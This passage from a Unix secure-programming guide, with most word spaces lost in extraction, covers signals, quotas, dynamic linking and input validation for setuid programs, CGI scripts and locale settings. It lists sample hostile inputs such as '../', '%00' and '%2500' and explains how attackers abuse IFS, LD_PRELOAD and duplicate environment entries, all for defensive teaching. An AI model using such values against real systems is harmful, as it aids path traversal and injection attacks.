Althoughsignalsareanancientpartof Unix, they’vehaddifferentsemanticsin
differentimplementations.Basically, they involvequestionssuchas“what happens
whenasignaloccurswhile handlinganothersignal”?TheolderLinux libc 5 useda
differentsetof semanticsfor somesignaloperationsthanthenewerGNU libc libraries.
For moreinformation,seetheglibc FAQ (on somesystemsa local copy is availableat
/usr/doc/glibc-*/FAQ).

For new programs,justusethePOSIXsignalsystem(which in turnwasbasedon BSD
work); thissetis widely supportedanddoesn’t havetheproblemsthatsomeof theolder
signalsystemsdid. ThePOSIXsignalsystemis basedonusingthesigset_tdatatype,
which canbemanipulatedthroughasetof operations:sigemptyset(),sigfillset(),
sigaddset(),sigdelset(),andsigismember().Youcanreadaboutthesein sigsetops(3).
Thenusesigaction(2),sigaction(2),sigprocmask(2),sigpending(2),andsigsuspend(2)
to setup anmanipulatesignalhandling(seetheir manpagesfor moreinformation).

In general,makeany signalhandlersveryshortandsimple,andlook carefullyfor race
conditions.Signals,sincethey areby natureasynchronous,caneasilycauserace
conditions.

A commonconventionexistsfor servers:if you receiveSIGHUP, youshouldcloseany
log files, reopenandrereadconfigurationfiles,andthenre-openthelog files.This
supportsreconfigurationwithout haltingtheserverandlog rotationwithoutdataloss.If
you arewriting aserverwherethis conventionmakessense,pleasesupportit.
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3.6. Quotas and Limits
Many Unix-likesystemshavemechanismsto supportfilesystemquotasandprocess
resourcelimits. ThiscertainlyincludesLinux. Thesemechanismsareparticularly
usefulfor preventingdenialof serviceattacks;by limiting theresourcesavailableto
eachuser, you canmake it hardfor asingleuserto useup all thesystemresources.Be
carefulwith terminologyhere,becausebothfilesystemquotasandprocessresource
limits have “hard” and“soft” limits but thetermsmeanslightly differentthings.

You candefinestorage(filesystem)quotalimits oneachmountpointfor thenumberof
blocksof storageand/orthenumberof uniquefiles (inodes)thatcanbeused,andyou
cansetsuchlimits for agivenuseror agivengroup.A “hard” quotalimit is a
never-to-exceedlimit, while a “soft” quotacanbetemporarilyexceeded.Seequota(1),
quotactl(2),andquotaon(8).

Therlimit mechanismsupportsa largenumberof processquotas,suchasfile size,
numberof child processes,numberof openfiles,andsoon.Thereis a “soft” limit (also
calledthecurrentlimit) anda “hard limit” (alsocalledtheupperlimit). Thesoft limit
cannotbeexceededat any time,but throughcallsit canberaisedup to thevalueof the
hardlimit. Seegetrlimit(), setrlimit(),andgetrusage().Notethatthereareseveralways
to settheselimits, includingthePAM modulepam_limits.

3.7. Dynamicall y Linked Libraries
Practicallyall programsdependon librariesto execute.In mostmodernUnix-like
systems,includingLinux, programsareby default compiledto usedynamicallylinked
libraries(DLLs). Thatway, you canupdatea library andall theprogramsusingthat
library will usethenew (hopefullyimproved)versionif they can.

Dynamicallylinkedlibrariesaretypically placedin onea few specialdirectories.The
usualdirectoriesinclude/lib, /usr/lib, /lib/security for PAM modules,
/usr/X11R6/lib for X-windows,and/usr/local/lib.

Therearespecialconventionsfor naminglibrariesandhaving symboliclinks for them,
with theresultthatyoucanupdatelibrariesandstill supportprogramsthatwantto use
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old, non-backward-compatibleversionsof thoselibraries.Therearealsowaysto
overridespecificlibrariesor evenjust specificfunctionsin a library whenexecutinga
particularprogram.This is a realadvantageof Unix-likesystemsoverWindows-like
systems;I believeUnix-likesystemshaveamuchbettersystemfor handlinglibrary
updates,onereasonthatUnix andLinux systemsarereputedto bemorestablethan
Windows-basedsystems.

On GNU glibc-basedsystems,includingall Linux systems,thelist of directories
automaticallysearchedduringprogramstart-upis storedin thefile /etc/ld.so.conf.
Many RedHat-deriveddistributionsdon’t normallyinclude/usr/local/lib in the
file /etc/ld.so.conf. I considerthis abug,andadding/usr/local/lib to
/etc/ld.so.conf is a common“fix” requiredto run many programsonRed
Hat-derivedsystems.If youwantto just overridea few functionsin a library, but keep
therestof thelibrary, you canenterthenamesof overridinglibraries(.o files) in
/etc/ld.so.preload; these“preloading”librarieswill takeprecedenceover the
standardset.Thispreloadingfile is typically usedfor emergency patches;adistribution
usuallywon’t includesuchafile whendelivered.Searchingall of thesedirectoriesat
programstart-upwouldbetoo time-consuming,soacachingarrangementis actually
used.Theprogramldconfig(8)by default readsin thefile /etc/ld.so.conf,setsup the
appropriatesymboliclinks in thedynamiclink directories(sothey’ ll follow the
standardconventions),andthenwritesacacheto /etc/ld.so.cachethat’s thenusedby
otherprograms.So,ldconfighasto berunwhenevera DLL is added,whenaDLL is
removed,or whenthesetof DLL directorieschanges;runningldconfigis oftenoneof
thestepsperformedby packagemanagerswheninstallinga library. On start-up,then,a
programusesthedynamicloaderto readthefile /etc/ld.so.cacheandthenloadthe
librariesit needs.

Variousenvironmentvariablescancontrolthis process,andin factthereare
environmentvariablesthatpermityou to overridethisprocess(so,for example,youcan
temporarilysubstituteadifferentlibrary for this particularexecution).In Linux, the
environmentvariableLD_LIBRARY_PATH is a colon-separatedsetof directories
wherelibrariesshouldbesearchedfor first, beforethestandardsetof directories;this is
usefulwhendebugginganew library or usinganonstandardlibrary for special
purposes.ThevariableLD_PRELOAD listsobjectfileswith functionsthatoverridethe
standardset,just as/etc/ld.so.preloaddoes.
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Permittingusercontroloverdynamicallylinkedlibrarieswouldbedisastrousfor
setuid/setgidprogramsif specialmeasuresweren’t taken.Therefore,in theGNU glibc
implementation,if theprogramis setuidor setgidthesevariables(andothersimilar
variables)areignoredor greatlylimited in whatthey cando.TheGNU glibc library
determinesif aprogramis setuidor setgidby checkingtheprogram’scredentials;if the
uid andeuiddiffer, or thegid andtheegid differ, thelibrary presumestheprogramis
setuid/setgid(or descendedfrom one)andthereforegreatlylimits its abilitiesto control
linking. If you loadtheGNU glibc libraries,you canseethis; seeespeciallythefiles
elf/rtld.c andsysdeps/generic/dl-sysdep.c.Thismeansthatif you causetheuid andgid
to equaltheeuidandegid, andthencall aprogram,thesevariableswill have full effect.
OtherUnix-likesystemshandlethesituationdifferentlybut for thesamereason:a
setuid/setgidprogramshouldnotbeundulyaffectedby theenvironmentvariablesset.

For Linux systems,you cangetmoreinformationfrom my document,theProgram
Library HOWTO (http://www.dwheeler.com/program-library).

3.8. Audit
DifferentUnix-likesystemshandleauditingdifferently. In Linux, themostcommon
“audit” mechanismis syslogd(8),usuallyworking in conjuctionwith klogd(8).You
might alsowantto look at wtmp(5),utmp(5),lastlog(8),andacct(2).Someserver
programs(suchastheApachewebserver)alsohave theirown audittrail mechanisms.
Accordingto theFHS,auditlogsshouldbestoredin /var/logor its subdirectories.

3.9. PAM
SunSolarisandnearlyall Linux systemsusethePluggableAuthenticationModules
(PAM) systemfor authentication.PAM permitsrun-timeconfigurationof
authenticationmethods(e.g.,useof passwords,smartcards,etc.).SeeSection10.5for
moreinformationon usingPAM.
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Wisdomwill saveyoufromthe
waysof wickedmen,frommen
whosewordsareperverse...

Proverbs2:12 (NIV)

Someinputsarefrom untrustableusers,sothoseinputsmustbevalidated(filtered)
beforebeingused.You shoulddeterminewhatis legalandrejectanything thatdoesnot
matchthatdefinition.Do not do thereverse(identify whatis illegalandwrite codeto
rejectthosecases),becauseyouarelikely to forgetto handleanimportantcaseof
illegal input.

Thereis agoodreasonfor identifying “ille gal” values,though,andthat’sasasetof
tests(usuallyjust executedin your head)to besurethatyourvalidationcodeis
thorough.WhenI setup aninput filter, I mentallyattackthefilter to seeif thereare
illegalvaluesthatcouldgetthrough.Dependingon theinput,herearea few examples
of common“ille gal” valuesthatyour input filters mayneedto prevent:theempty
string,".", "..", "../", anythingstartingwith "/" or ".", anythingwith "/" or "&" insideit,
any controlcharacters(especiallyNIL andnewline), and/orany characterswith the
“high bit” set(especiallyvaluesdecimal254and255).Again,yourcodeshouldnotbe
checkingfor “bad” values;youshoulddo this checkmentallyto besurethatyour
patternruthlesslylimits input valuesto legalvalues.If yourpatternisn’t sufficiently
narrow, you needto carefullyre-examinethepatternto seeif thereareotherproblems.

Limit themaximumcharacterlength(andminimumlengthif appropriate),andbesure
to not losecontrolwhensuchlengthsareexceeded(seeChapter5 for moreabout
buffer overflows).

For strings,identify thelegalcharactersor legalpatterns(e.g.,asa regularexpression)
andrejectanythingnot matchingthatform. Therearespecialproblemswhenstrings
containcontrolcharacters(especiallylinefeedor NIL) or shellmetacharacters;it is
oftenbestto “escape”suchmetacharactersimmediatelywhentheinput is receivedso
thatsuchcharactersarenot accidentallysent.CERT goesfurtherandrecommends
escapingall charactersthataren’t in a list of charactersnotneedingescaping[CERT
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1998,CMU 1998].SeeSection7.2for moreinformationon limiting call-outs.

Limit all numbersto theminimum(oftenzero)andmaximumallowedvalues.
Filenamesshouldbechecked;usuallyyouwill wantto not include“..” (higher
directory)asa legalvalue.In filenamesit’ sbestto prohibit any changein directory,
e.g.,by not including“/” in thesetof legalcharacters.A full emailaddresschecker is
actuallyquitecomplicated,becausetherearelegacy formatsthatgreatlycomplicate
validationif youneedto supportall of them;seemailaddr(7)andIETF RFC822[RFC
822] for moreinformationif suchcheckingis necessary.

Unlessyouaccountfor them,thelegalcharacterpatternsmustnot includecharactersor
charactersequencesthathavespecialmeaningto eithertheprograminternalsor the
eventualoutput:

• A charactersequencemayhavespecialmeaningto theprogram’s internalstorage
format.For example,if youstoredata(internallyor externally)in delimitedstrings,
makesurethatthedelimetersarenotpermitteddatavalues.A numberof programs
storedatain comma(,) or colon(:) delimitedtext files; insertingthedelimetersin the
input canbeproblemunlesstheprogramaccountsfor it (i.e.,by by preventingit or
encodingit in someway).Othercharactersoftencausingtheseproblemsinclude
singleanddoublequotes(usedfor surroundingstrings)andtheless-thansign"<"
(usedin SGML, XML, andHTML to indicatea tag’sbeginning;this is importantif
youstoredatain theseformats).Most dataformatshaveanescapesequenceto
handlethesecases;useit, or filter suchdataon input.

• A charactersequencemayhavespecialmeaningif sentbackout to auser. A
commonexampleof this is permittingHTML tagsin datainput thatwill laterbe
postedto otherreaders(e.g.,in aguestbookor “readercomment”area).However,
theproblemis muchmoregeneral.SeeSection6.11for ageneraldiscussionon the
topic,andseeSection4.10for aspecificdiscussionaboutfiltering HTML.

Thesetestsshouldusuallybecentralizedin oneplacesothatthevalidity testscanbe
easilyexaminedfor correctnesslater.

Makesurethatyour validity testis actuallycorrect;this is particularlyaproblemwhen
checkinginput thatwill beusedby anotherprogram(suchasafilename,emailaddress,
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or URL). Oftenthesetestsarehavesubtleerrors,producingtheso-called“deputy
problem”(wherethecheckingprogrammakesdifferentassumptionsthantheprogram
thatactuallyusesthedata).If there’s a relevantstandard,look at it, but alsosearchto
seeif theprogramhasextensionsthatyou needto know about.

While parsinguserinput, it’ sagoodideato temporarilydropall privileges,or even
createseparateprocesses(with theparserhaving permanentlydroppedprivileges,and
theotherprocessperformingsecuritychecksagainsttheparserrequests).This is
especiallytrueif theparsingtaskis complex (e.g.,if youusea lex-likeor yacc-like
tool), or if theprogramminglanguagedoesn’t protectagainstbuffer overflows(e.g.,C
andC++).SeeSection6.3 for moreinformationonminimizing privileges.

Thefollowing subsectionsdiscussdifferentkindsof inputsto aprogram;notethat
input includesprocessstatesuchasenvironmentvariables,umaskvalues,andsoon.
Not all inputsareunderthecontrolof anuntrusteduser, soyouneedonly worry about
thoseinputsthatare.

4.1. Command line
Many programsusethecommandline asaninput interface,acceptinginput by being
passedarguments.A setuid/setgidprogramhasa commandline interfaceprovidedto it
by anuntrusteduser, soit mustdefenditself. Usershavegreatcontrolover the
commandline (throughcallssuchastheexecve(3)call). Therefore,setuid/setgid
programsmustvalidatethecommandline inputsandmustnot trustthenameof the
programreportedby commandline argumentzero(theusercansetit to any value
includingNULL).

4.2. Envir onment Variab les
By default,environmentvariablesareinheritedfrom aprocess’parent.However, when
aprogramexecutesanotherprogram,thecalling programcansettheenvironment
variablesto arbitraryvalues.This is dangerousto setuid/setgidprograms,becausetheir
invokercancompletelycontroltheenvironmentvariablesthey’regiven.Sincethey are
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usuallyinherited,this alsoappliestransitively; asecureprogrammight call someother
programand,without specialmeasures,wouldpasspotentiallydangerousenvironment
variablesvalueson to theprogramit calls.Thefollowing subsectionsdiscuss
environmentvariablesandwhatto dowith them.

4.2.1. Some Envir onment Variab les are Dangerous
Someenvironmentvariablesaredangerousbecausemany librariesandprogramsare
controlledby environmentvariablesin waysthatareobscure,subtle,or undocumented.
For example,theIFSvariableis usedby theshandbashshellto determinewhich
charactersseparatecommandline arguments.Sincetheshell is invokedby several
low-level calls(likesystem(3)andpopen(3)in C, or theback-tickoperatorin Perl),
settingIFS to unusualvaluescansubvertapparently-safecalls.Thisbehavior is
documentedin bashandsh,but it’ sobscure;many long-timeusersonly know about
IFS becauseof its usein breakingsecurity, notbecauseit’ sactuallyusedveryoftenfor
its intendedpurpose.Whatis worseis thatnotall environmentvariablesare
documented,andevenif they are,thoseotherprogramsmaychangeandadddangerous
environmentvariables.Thus,theonly realsolution(describedbelow) is to selectthe
onesyouneedandthrow away therest.

4.2.2. Envir onment Variab le Stora ge Format is
Dangerous
Normally, programsshouldusethestandardaccessroutinesto accessenvironment
variables.For example,in C, youshouldgetvaluesusinggetenv(3), setthemusingthe
POSIXstandardroutineputenv(3) or theBSD extensionsetenv(3) andeliminate
environmentvariablesusingunsetenv(3). I shouldnoteherethatsetenv(3) is
implementedin Linux, too.

However, crackersneednotbesonice;crackerscandirectlycontroltheenvironment
variabledataareapassedto aprogramusingexecve(2).Thispermitssomenasty
attacks,whichcanonly beunderstoodby understandinghow environmentvariables
really work. In Linux, you canseeenviron(5) for a summaryhow aboutenvironment
variablesreally work. In short,environmentvariablesareinternallystoredasapointer
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to anarrayof pointersto characters;this arrayis storedin orderandterminatedby a
NULL pointer(soyou’ll know whenthearrayends).Thepointersto characters,in
turn,eachpoint to aNIL-terminatedstringvalueof theform “NAME=value”.Thishas
severalimplications,for example,environmentvariablenamescan’t includetheequal
sign,andneitherthenamenor valuecanhaveembeddedNIL characters.However, a
moredangerousimplicationof this formatis thatit allowsmultipleentrieswith the
samevariablename,but with differentvalues(e.g.,morethanonevaluefor SHELL).
While typical commandshellsprohibit doingthis,a locally-executingcracker can
createsucha situationusingexecve(2).

Theproblemwith this storageformat(andtheway it’ sset)is thataprogrammight
checkoneof thesevalues(to seeif it’ s valid) but actuallyuseadifferentone.In Linux,
theGNU glibc librariestry to shieldprogramsfrom this;glibc 2.1’s implementationof
getenv will alwaysgetthefirst matchingentry, setenv andputenv will alwayssetthe
first matchingentry, andunsetenv will actuallyunsetall of thematchingentries
(congratulationsto theGNU glibc implementorsfor implementingunsetenv this way!).
However, someprogramsgo directly to theenviron variableanditerateacrossall
environmentvariables;in this case,they mightusethelastmatchingentryinsteadof
thefirst one.As a result,if checksweremadeagainstthefirst matchingentryinstead,
but theactualvalueusedis thelastmatchingentry, acracker canusethis factto
circumventtheprotectionroutines.

4.2.3. The Solution - Extract and Erase
For securesetuid/setgidprograms,theshortlist of environmentvariablesneededas
input (if any) shouldbecarefullyextracted.Thentheentireenvironmentshouldbe
erased,followedby resettingasmallsetof necessaryenvironmentvariablesto safe
values.Therereally isn’t a betterway if youmakeany callsto subordinateprograms;
there’s nopracticalmethodof listing “all thedangerousvalues”.Evenif you reviewed
thesourcecodeof everyprogramyou call directly or indirectly, someonemayaddnew
undocumentedenvironmentvariablesafteryouwrite yourcode,andoneof themmay
beexploitable.

Thesimpleway to erasetheenvironmentin C/C++is by settingtheglobalvariable
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environ to NULL. Theglobalvariableenviron is definedin <unistd.h>;C/C++users
will wantto #includethis headerfile. Youwill needto manipulatethis valuebefore
spawning threads,but that’s rarelyaproblem,sinceyouwantto do thesemanipulations
veryearlyin theprogram’sexecution(usuallybeforethreadsarespawned).Another
way is to usetheundocumentedclearenv() function.clearenv() hasanoddhistory;it
wassupposedto bedefinedin POSIX.1,but somehow nevermadeit into thatstandard.
However, clearenv() is definedin POSIX.9(theFortran77 bindingsto POSIX),so
thereis aquasi-official statusfor it. In Linux, clearenv() is definedin <stdlib.h>,but
beforeusing#includeto includeit you mustmakesurethat__USE_MISCis #defined.
A somewhatmore“official” approachis to cause__USE_MISCto bedefinedis to
#defineeither_SVID_SOURCEor _BSD_SOURCE,then#include<features.h>-
thesearetheofficial featuretestmacros.To behonest,I usetheapproachof setting
“environ”; manipulatingsuchlow-level componentsis possiblynon-portable,but it
assuresyou thatyougetaclean(andsafe)environment.In therarecasewhereyou
needlateraccessto theentiresetof variables,youcouldsave the“environ” variable’s
valuesomewhere,but this is rarelynecessary;nearlyall programsneedonly a few
values,andtherestcanbedropped.

Onevalueyou’ll almostcertainlyre-addis PATH, thelist of directoriesto searchfor
programs;PATH shouldnot includethecurrentdirectoryandusuallybesomething
simplelike “/bin:/usr/bin”. Typically you’ll alsosetIFS(to its defaultof “ \t\n”) andTZ
(timezone).Linux won’t die if youdon’t supplyeitherIFS or TZ, but someSystemV
basedsystemshaveproblemsif you don’t supplyaTZ value,andit’ s rumoredthat
someshellsneedtheIFS valueset.In Linux, seeenviron(5) for a list of common
environmentvariablesthatyou mightwantto set.

If you really needuser-suppliedvalues,checkthevaluesfirst (to ensurethatthevalues
matchapatternfor legalvaluesandthatthey arewithin somereasonablemaximum
length).Ideally therewouldbesomestandardtrustedfile in /etcwith theinformation
for “standardsafeenvironmentvariablevalues”,but at this time there’s nostandardfile
definedfor thispurpose.For somethingsimilar, youmight wantto examinethePAM
modulepam_env on thosesystemswhich have thatmodule.

If you’reusingashellasyour programminglanguage,youcanusethe“env” program
with the“-” option(which erasesall environmentvariablesof theprogrambeingrun).
Basically, you call env, give it the“-” option,follow thatwith thesetof variablesand

53



Chapter4. ValidateAll Input

their valuesyouwish to set(asname=value),andthenfollow thatwith thenameof the
programto run andits arguments.NotethatGNU’senv alsoacceptstheoptions"-i"
and"–ignore-environment"assynonyms(they alsoerasetheenvironmentof the
programbeingstarted),but thesearen’t portableto otherversionsof env.

If you’reprogrammingasetuid/setgidprogramin a languagethatdoesn’t allow you to
resettheenvironmentdirectly, oneapproachis to createa “wrapper”program.The
wrappersetstheenvironmentprogramto safevalues,andthencallstheotherprogram.
Beware:makesurethewrapperwill actuallyinvoke theintendedprogram;if it’ san
interpretedprogram,makesurethere’sno raceconditionpossiblethatwouldallow the
interpreterto loadadifferentprogramthantheonethatwasgrantedthespecial
setuid/setgidprivileges.

4.3. File Descriptor s
A programis passeda setof “openfile descriptors”,thatis, pre-openedfiles.A
setuid/setgidprogrammustdealwith thefactthattheusergetsto selectwhatfilesare
openandto what(within their permissionlimits). A setuid/setgidprogrammustnot
assumethatopeninganew file will alwaysopeninto a fixedfile descriptorid. It must
alsonotassumethatstandardinput (stdin),standardoutput(stdout),andstandarderror
(stderr)referto a terminalor areevenopen.

Therationalebehindthis is easy;sinceanattackercanopenor closeafile descriptor
beforestartingtheprogram,theattackercouldcreateanunexpectedsituation.If the
attackerclosesthestandardoutput,whentheprogramopensthenext file it will be
openedasthoughit werestandardoutput,andthenit will sendall standardoutputto
thatfile aswell. SomeC librarieswill automaticallyopenstdin,stdout,andstderrif
they aren’t alreadyopen(to /dev/null), but this isn’t trueonall Unix-likesystems.

4.4. File Contents
If aprogramtakesdirectionsfrom afile, it mustnot trustthatfile speciallyunlessonly
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a trustedusercancontrolits contents.Usuallythis meansthatanuntrustedusermust
notbeableto modify thefile, its directory, or any of its ancestordirectories.Otherwise,
thefile mustbetreatedassuspect.

If thedirectionsin thefile aresupposedto befrom anuntrusteduser, thenmakesure
thattheinputsfrom thefile areprotectedasdescribethroughoutthisbook.In particular,
checkthatvaluesmatchthesetof legal values,andthatbuffersarenotoverflowed.

4.5. Web-Based Application Inputs
(Especiall y CGI Scripts)
Web-basedapplications(suchasCGI scripts)run onsometrustedserverandmustget
their input datasomehow throughtheweb. Sincetheinput datagenerallycomefrom
untrustedusers,this input datamustbevalidated.Indeed,this informationmayhave
actuallycomefrom anuntrustedthird party;seeSection6.11for moreinformation.For
example,CGI scriptsarepassedthis informationthroughastandardsetof environment
variablesandthroughstandardinput.Therestof this text will specificallydiscussCGI,
becauseit’ s themostcommontechniquefor implementingdynamicwebcontent,but
thegeneralissuesarethesamefor mostotherdynamicwebcontenttechniques.

Oneadditionalcomplicationis thatmany CGI inputsareprovidedin so-called
“URL-encoded”format,thatis, somevaluesarewritten in theformat%HH whereHH
is thehexadecimalcodefor thatbyte.Youor your CGI library musthandletheseinputs
correctlyby URL-decodingtheinput andthencheckingif theresultingbytevalueis
acceptable.You mustcorrectlyhandleall values,includingproblematicvaluessuchas
%00(NIL) and%0A (newline). Don’t decodeinputsmorethanonce,or input suchas
“%2500” will bemishandled(the%25wouldbetranslatedto “%”, andtheresulting
“%00” wouldbeerroneouslytranslatedto theNIL character).

CGI scriptsarecommonlyattackedby includingspecialcharactersin their inputs;see
thecommentsabove.

Anotherform of dataavailableto web-basedapplicationsare“cookies.” Again,users
canprovidearbitrarycookievalues,sothey cannotbetrustedunlessspecial
precautionsaretaken.Also, cookiescanbeusedto trackusers,creatingaprivacy
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problemfor many users.As a result,many usersdisablecookies,soif possibleyour
webapplicationshouldbedesignedsothatit doesnot requiretheuseof cookies.

SomeHTML formsincludeclient-sideinputcheckingto preventsomeillegalvalues;
thesearetypically implementedusingJavascript/ECMAscriptor Java.Thischecking
canbehelpful for theuser, sinceit canhappen“immediately”without requiringany
network access.However, this kind of input checkingis uselessfor security, because
attackerscansendsuch“ille gal” valuesdirectly to thewebserverwithoutgoing
throughthechecks.It’ s notevenhardto subvert this; youdon’t have to write aprogram
to sendarbitrarydatato a webapplication.In general,serversmustperformall their
own input checking(of form data,cookies,andsoon) becausethey cannottrustclients
to do this securely. In short,clientsaregenerallynot “trustworthychannels”.See
Section6.8for moreinformationon trustworthychannels.

4.6. Other Inputs
Programsmustensurethatall inputsarecontrolled;this is particularlydifficult for
setuid/setgidprogramsbecausethey havesomany suchinputs.Otherinputsprograms
mustconsiderincludethecurrentdirectory, signals,memorymaps(mmaps),SystemV
IPC,andtheumask(whichdeterminesthedefault permissionsof newly-createdfiles).
Considerexplicitly changingdirectories(usingchdir(2))to anappropriatelyfully
nameddirectoryat programstartup.

4.7. Human Langua ge (Locale) Selection
As morepeoplehavecomputersandtheInternetavailableto them,therehasbeen
increasingpressurefor programsto supportmultiplehumanlanguagesandcultures.
Thiscombinationof languageandotherculturalfactorsis usuallycalleda “locale”.
Theprocessof modifyingaprogramsoit cansupportmultiple localesis called
“internationalization”(i18n),andtheprocessof providing theinformationfor a
particularlocaleto aprogramis called“localization” (l10n).

Overall, internationalizationis a goodthing,but thisprocessprovidesanother
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opportunityfor asecurityexploit. Sinceapotentiallyuntrusteduserprovides
informationon thedesiredlocale,localeselectionbecomesanotherinput that,if not
properlyprotected,canbeexploited.

4.7.1. How Locales are Selected
In locally-runprograms(includingsetuid/setgidprograms),localeinformationis
providedby anenvironmentvariable.Thus,likeall otherenvironmentvariables,these
valuesmustbeextractedandcheckedagainstvalid patternsbeforeuse.

For webapplications,this informationcanbeobtainedfrom thewebbrowser(via the
Accept-Languagerequestheader).However, sincenotall webbrowsersproperlypass
this information(andnot all usersconfiguretheir browsersproperly),this is usedless
oftenthanyou might think. Often,thelanguagerequestedin awebbrowseris simply
passedin asa form value.Again, thesevaluesmustbecheckedfor validity beforeuse,
aswith any otherform value.

In eithercase,localeinformationis really just aspecialcaseof input discussedin the
previoussections.However, becausethis input is sorarelyconsidered,I’m discussingit
separately. In particular, whencombinedwith formatstrings(discussedlater),
user-controlledstringscanpermitattackersto forceotherprogramsto run arbitrary
instructions,corruptdata,anddo otherunfortunateactions.

4.7.2. Locale Suppor t Mechanisms
Therearetwo majorlibrary interfacesfor supportinglocale-selectedmessageson
Unix-likesystems,onecalled“catgets”andtheothercalled“gettext”. In thecatgets
approach,everystringis assignedauniquenumber, which is usedasanindex into a
tableof messages.In contrast,in thegettext approach,astring(usuallyin English)is
usedto look up a tablethattranslatestheoriginal string.catgets(3)is anaccepted
standard(via theX/OpenPortabilityGuide,Volume3 andSingleUnix Specification),
soit’ spossibleyourprogramusesit. The“gettext” interfaceis notanofficial standard,
(thoughit wasoriginally aUniForumproposal),but I believe it’ s themorewidely used
interface(it’ susedby Sunandessentiallyall GNU programs).
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In theory, catgetsshouldbeslightly faster, but this is atbestmarginalon today’s
machines,andthebookkeepingeffort to keepuniqueidentifiersvalid in catgets()makes
thegettext() interfacemucheasierto use.I’d suggestusinggettext(), just becauseit’ s
easierto use.However, don’t takemy word for it; seeGNU’s documentationongettext
(info:gettext#catgets)for a longerandmoredescriptivecomparison.

Thecatgets(3)call (andits associatedcatopen(3)call) in particularis vulnerableto
securityproblems,becausetheenvironmentvariableNLSPATH canbeusedto control
thefilenamesusedto acquireinternationalizedmessages.TheGNU C library ignores
NLSPATH for setuid/setgidprograms,whichhelps,but thatdoesn’t protectprograms
runningon otherimplementations,nor otherprograms(likeCGI scripts)whichdon’t
“appear”to requiresuchprotection.

Thewidely-used“gettext” interfaceis at leastnot vulnerableto amaliciousNLSPATH
settingto my knowledge.However, it appearslikely to methatmalicioussettingsof
LC_ALL or LC_MESSAGEScouldcauseproblems.Also, if youusegettext’s
bindtextdomain()routinein its file cat-compat.c,thatdoesdependon NLSPATH.

4.7.3. Legal Values
For themoment,if youmustpermituntrustedusersto setinformationon their desired
locales,makesuretheprovidedinternationalizationinformationmeetsanarrow filter
thatonly permitslegitimatelocalenames.For userprograms(especiallysetuid/setgid
programs),thesevalueswill comein via NLSPATH, LANGUAGE,LANG, theold
LINGUAS, LC_ALL, andtheotherLC_* values(especiallyLC_MESSAGES,but also
includingLC_COLLATE, LC_CTYPE,LC_MONETARY, LC_NUMERIC,and
LC_TIME). For webapplications,this user-requestedsetof languageinformation
wouldbedonevia theAccept-Languagerequestheaderor a form value(theapplication
shouldindicatetheactuallanguagesettingof thedatabeingreturnedvia the
Content-Languageheading).You cancheckthis valueaspartof yourenvironment
variablefiltering if youruserscansetyourenvironmentvariables(i.e.,setuid/setgid
programs)or aspartof your inputfiltering (e.g.,for CGI scripts).TheGNU C library
"glibc" doesn’t acceptsomevaluesof LANG for setuid/setgidprograms(in particular
anythingwith "/"), but errorshavebeenfoundin thatfiltering (e.g.,RedHat releasedan
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updateto fix this errorin glibc on September1, 2000).Thiskind of filtering isn’t
requiredby any standard,soyou’resaferdoingthis filtering yourself.I havenot found
any guidanceon filtering languagesettings,soherearemy suggestionsbasedon my
own researchinto theissue.

First,a few wordsaboutthelegalvaluesof thesesettings.Languagesettingsare
generallysetusingthestandardtagsdefinedin IETF RFC1766(which usestwo-letter
countrycodesasits basictag,followedby anoptionalsubtagseparatedby adash;I’ve
foundthatenvironmentvariablesettingsusetheunderscoreinstead).However, some
find this insufficiently flexible, sothree-lettercountrycodesmaysoonbeusedaswell.
Also, therearetwo majornot-quitecompatibleextendedformats,theX/OpenFormat
andtheCENFormat(EuropeanCommunityStandard);you’d like to permitboth.
Typical valuesinclude“C” (theC locale),“EN” (English”),and“FR_fr” (Frenchusing
theterritoryof France’s conventions).Also, somany peopleusenonstandardnames
thatprogramshavehadto develop“alias” systemsto copewith them(for GNU gettext,
see/usr/share/locale/locale.aliases,andfor X11, see/usr/lib/X11/locale/locale.aliases);
they shouldusuallybepermittedaswell. Librarieslikegettext() have to acceptall these
variantsandfind anappropriatevalue,wherepossible.Onesourceof further
informationis FSF[1999].However, afilter shouldnotpermitcharactersthataren’t
needed,in particular“/” (which mightpermitescapingoutof thetrusteddirectories)
and“..” (which mightpermitgoingup onedirectory).Otherdangerouscharactersin
NLSPATH include“%” (which indicatessubstitution)and“:” (which is thedirectory
separator);thedocumentationI have for othermachinessuggeststhatsome
implementationsmayusethemfor othervalues,soit’ ssafestto prohibit them.

4.7.4. Bottom Line
In short,I suggestsimplyerasingor re-settingtheNLSPATH, unlessyouhavea trusted
usersupplyingthevalue.For theAccept-Languageheadingin HTTP (if youuseit),
form valuesspecifyingthelocale,andtheenvironmentvariablesLANGUAGE,LANG,
theold LINGUAS, LC_ALL, andtheotherLC_* valueslistedabove,filter thelocales
from untrustedusersto permitnull (empty)valuesor to only permitvaluesthatmatch
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in total this regularexpression:

[A-Za-z][A-Za-z0-9_,+@\-\.]*

I haven’t foundany legitimatelocalewhichdoesn’t matchthis pattern,but this pattern
doesappearto protectagainstlocaleattacks.Of course,there’sno guaranteethatthere
aremessagesavailablein therequestedlocale,but in suchacasetheseroutineswill fall
backto thedefault messages(usuallyin English),whichat leastis notasecurity
problem.

Of course,languagescannotbesupportedwithoutastandardway to representtheir
writtensymbols,which bringsusto theissueof characterencoding.

4.8. Character Encoding

4.8.1. Intr oduction to Character Encoding
For many yearsAmericanshaveexchangedtext usingtheASCII characterset;since
essentiallyall U.S.systemssupportASCII, this permitseasyexchangeof Englishtext.
Unfortunately, ASCII is completelyinadequatein handlingthecharactersof nearlyall
otherlanguages.For many yearsdifferentcountrieshaveadopteddifferenttechniques
for exchangingtext in differentlanguages,makingit difficult to exchangedatain an
increasinglyinterconnectedworld.

More recently, ISO hasdevelopedISO10646,the“UniversalMulitple-OctetCoded
CharacterSet(UCS).UCSis acodedcharactersetwhichdefinesasingle31-bit value
for eachof all of theworld’scharacters.Thefirst 65536charactersof theUCS(which
thusfit into 16 bits)aretermedthe“Basic Multilingual Plane”(BMP), andtheBMP is
intendedto covernearlyall of today’sspokenlanguages.TheUnicodeforumdevelops
theUnicodestandard,whichconcentrateson theUCSandaddssomeadditional
conventionsto aid interoperability. Historically, UnicodeandISO10646were
developedby competinggroups,but thankfully they realizedthatthey neededto work
togetherandthey now coordinatewith eachother.
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If you’rewriting new softwarethathandlesinternationalizedcharacters,you shouldbe
usingISO10646/Unicodeasyourbasisfor handlinginternationalcharacters.However,
youmayneedto processolderdocumentsin variousolder(language-specific)character
sets,in whichcase,youneedto ensurethatanuntrustedusercannotcontrolthesetting
of anotherdocument’scharacterset(sincethis wouldsignificantlyaffect the
document’s interpretation).

